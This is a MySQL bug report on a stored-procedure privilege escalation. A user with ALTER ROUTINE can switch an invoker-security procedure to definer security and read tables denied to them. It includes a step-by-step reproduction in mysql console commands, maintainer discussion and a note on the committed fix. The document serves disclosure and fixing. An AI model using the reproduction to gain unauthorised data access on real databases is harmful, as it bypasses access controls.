MySQL Bugs: #9467: Stored procedures: possible security breach via alter procedure

Bug #9467	Stored procedures: possible security breach via alter procedure
Submitted:	29 Mar 2005 22:52	Modified:	27 Oct 2006 2:52
Reporter:	Peter Gulutzan	Email Updates:
Status:	Won't fix	Impact on me:	None
Category:	MySQL Server: Stored Routines	Severity:	S3 (Non-critical)
Version:	5.0.4-beta-debug	OS:	Linux (SUSE 9.2)
Assigned to:	Antony Curtis	CPU Architecture:	Any

Description:
Any user with ALTER ROUTINE privilege can change a routine to SQL SECURITY DEFINER.
As a result, the user can access objects which originally were inaccessible because the routine was defined as SQL SECURITY INVOKER. 

How to repeat:
Login as root and say:

mysql> create table t61 (s1 int);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into t61 values (1);
Query OK, 1 row affected (0.00 sec)

mysql> create procedure p61 () sql security invoker select * from t61;
Query OK, 0 rows affected (0.01 sec)

mysql> grant execute on p61 to terence@localhost;
Query OK, 0 rows affected (0.01 sec)

mysql> grant alter routine on current_database.* to terence@localhost;
Query OK, 0 rows affected (0.00 sec)

...

Login as terence@localhost and say:

mysql> call p61();
ERROR 1142 (42000): SELECT command denied to user 'terence'@'localhost' for table 't61'
mysql> alter procedure p61 sql security definer;
Query OK, 0 rows affected (0.00 sec)

mysql> call p61();
+------+
| s1   |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Suggested fix:
Disallow ALTER ROUTINE.

Is this really a bug? Having the ALTER ROUTINE privilege seems to imply that you should be allowe to do this.
If it is a bug, I don't understand the suggested fix. Disallow ALTER ROUTINE how?
ALTER PROCEDURE, or the privilege, or ALTER ... SQL SECURITY?

Would it be a satisfactory solution to set the definer of a stored procedure to the user who last altered it?

Changing the definer would ingeniously solve what I see as a security problem, but the definer is supposed to be the person who (originally) defined, so it's not fair play.

If nobody else jumps in to say that they too see this as a possible security breach, I'll accept that I am seeing a problem where it doesn't really exist, and the assignee should declare this as "not a bug".

A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/14339

ChangeSet@1.2291, 2006-10-25 03:49:08-07:00, acurtis@xiphis.org +1 -0
  Bug#9467
    "Stored procedures: possible security breach via alter procedure"
    only the routine definer can set SQL SECURITY DEFINER